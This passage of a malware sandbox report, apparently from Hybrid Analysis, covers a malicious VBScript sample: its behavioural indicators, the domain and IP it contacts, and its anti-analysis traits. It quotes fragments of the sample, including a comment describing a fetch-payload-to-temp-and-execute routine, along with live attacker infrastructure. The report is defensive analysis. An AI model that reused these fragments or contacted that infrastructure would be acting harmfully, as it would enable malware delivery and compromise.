Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process WScript.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:1316:304:WilStaging_02\"\n Process WScript.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1316:304:WilStaging_02\"\n Process WScript.exe created mutex with name \"Local\\SM0:1316:304:WilStaging_02\"\n Process WScript.exe created mutex with name \"SM0:1316:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 741E0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 939C0000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 92520000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 96340000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"WbemScripting.SWbemDateTime.1.CreateObject\" ... \n \"WScript.exe\" called \"Scripting.Dictionary.CreateObject\" ... \n \"WScript.exe\" called \"WinHttp.WinHttpRequest.5.1.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a005f00000040c76d93f87f0000@ntdll.dll\"\n \"\"#_@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"godlike-visit.online\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00001316-00000C2B-1299004295]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00001316-00000C2B-1299380995]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"WScript.exe\" monitors \"\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\" (Filter: 268435461; Subtree: 1)\n \"WScript.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Services\\crypt32\" (Filter: 268435460; Subtree: 0)\n \"WScript.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\HwOrder\" (Filter: 4; Subtree: 0)\n \"WScript.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\ProviderOrder\" (Filter: 4; Subtree: 0)\n \"WScript.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \"WScript.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"\"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SQMSERVICELIST\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TIME ZONES\\PACIFIC STANDARD TIME\\DYNAMIC DST\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DNSCACHE\\PARAMETERS\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS NT\\DNSCLIENT\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEM\\DNSCLIENT\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DNS\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\SETUP\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 1316)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"WScript.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001316)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin.vbs\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\wbem\\wbemdisp.tlb\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\wscript.exe\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\wbem\\WBEMCOMN.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\wbem\\wbemcomn.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"\n \"WScript.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Network Related","name":"Contains ability to post data to a web server","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-482","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Network Related","name":"Contains ability to send/receive network requests","description":"Observed strings: \"' Disk: GET /3?payload=... via MSXML2.XMLHTTP, save to temp with ADODB.Stream, then execute with params\"\n \"hReq.SetRequestHeader \"Content-Type\", \"application/json\"\"\n \"hReq.Send body\" in Source: 8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-555","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set the value of an HTTP request header","description":"file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")\n Found string \"hReq.SetRequestHeader \"Content-Type\", \"application/json\"\" (Indicator: \".setRequestHeader\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-623","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://godlike-visit.online\"\n Pattern match: \"https://godlike-visit.onlineend\"\n Heuristic match: \"getproc = getproc & prc.name\"\n Heuristic match: \"if not dict.exists(key) then dict.add key, subfolder.name\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"godlike-visit.online\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://godlike\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"144.172.114.220\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$2f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$30","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"WScript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WScript.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$32","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/26 Antivirus vendors marked sample as malicious (7% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Executes a VBS file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin.vbs\"\" (UID: 00000000-00001316)","origin":"Monitored Target","mitre_attack_id":"T1059.005","relevance":10,"id":"target-17","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"Network Related","name":"Detected network traffic to commonly abused domain","description":"Domain: \"godlike-visit.online\" possible high risk indicator. Domain uses TLD that is commonly abused for malicious purposes.","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":5,"id":"network-84","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 144.172.114.220 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\System32\\WScript.exe\" connects to 144.172.114.220 on port 443 (TCP); Domain: \"godlike-visit.online\"","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$33","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found browser information locations related strings","description":"$34","origin":"File/Memory","mitre_attack_id":"T1005","relevance":5,"id":"string-93","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"WScript.exe\" connects to 144.172.114.220:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"godlike-visit.online\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"malicious","category":"System Security","name":"Able to execute commands through Windows command interpreter (ASP)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":5,"id":"string-847","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found browser information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":73,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["malicious","evasive"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"69e9d61a4a1ae4becd03f793","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":76,"malware_family":"Agent.CRU","contacted_countries":["USA"],"submit_name":"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin","analysis_start_time":"2026-04-23T08:19:39+00:00","indicators_count":{"informative":62,"suspicious":8,"malicious":3},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"144.172.114.220","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}],"dns_resolutions":[{"domain":"godlike-visit.online","address":"144.172.114.220","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}],"processes":[{"pid":1316,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin.vbs\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00001316","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="}],"all_imported_dlls":["dwmapi.dll","powrprof.dll","mswsock.dll","kernel32.dll","shell32.dll","version.dll","uxtheme.dll","wldp.dll","msasn1.dll","coml2.dll","nsi.dll","rasadhlp.dll","msvcp_win.dll","bcryptprimitives.dll","clbcatq.dll","crypt32.dll","windows.storage.dll","userenv.dll","scrobj.dll","combase.dll","ws2_32.dll","wbemcomn.dll","ntdll.dll","amsi.dll","cfgmgr32.dll","mpr.dll","IPHLPAPI.DLL","KernelBase.dll","imm32.dll","OnDemandConnRouteHelper.dll","gdi32.dll","vbscript.dll","MpOAV.dll","wintrust.dll","wshext.dll","wbemdisp.dll","wmiutils.dll","VxSSL64.dll","msisip.dll","wbemsvc.dll","sspicli.dll","fastprox.dll","user32.dll","gdi32full.dll","msctf.dll","Ud1lK5Fq.dll","winnsi.dll","FWPUCLNT.DLL","profapi.dll","rsaenh.dll","bcrypt.dll","cryptbase.dll","winhttpcom.dll","webio.dll","schannel.dll","sechost.dll","fltLib.dll","cryptsp.dll","shlwapi.dll","oleaut32.dll","rpcrt4.dll","advapi32.dll","scrrun.dll","winhttp.dll","dnsapi.dll","kernel.appcore.dll","sxs.dll","SHCore.dll","wbemprox.dll","msvcrt.dll","ucrtbase.dll","win32u.dll","ole32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"name":"Local\\SM0:1316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"name":"SM0:1316:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}]}},"report_ids":{"sandbox_job_ids":["69e9d61a4a1ae4becd03f793"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan_Script_Wacatac_C_ml Sample 8976e76450bf… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8976e76450bf…. Malware family: Trojan_Script_Wacatac_C_ml. Threat score 76/100. 2/26 AV engines flagged this file. 3 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan_Script_Wacatac_C_ml Sample 8976e76450bf… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8976e76450bf…. Malware family: Trojan_Script_Wacatac_C_ml. Threat score 76/100. 2/26 AV engines flagged this file. 3 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan_Script_Wacatac_C_ml Sample 8976e76450bf… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8976e76450bf…. Malware family: Trojan_Script_Wacatac_C_ml. Threat score 76/100. 2/26 AV engines flagged this file. 3 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L36","11",{}]]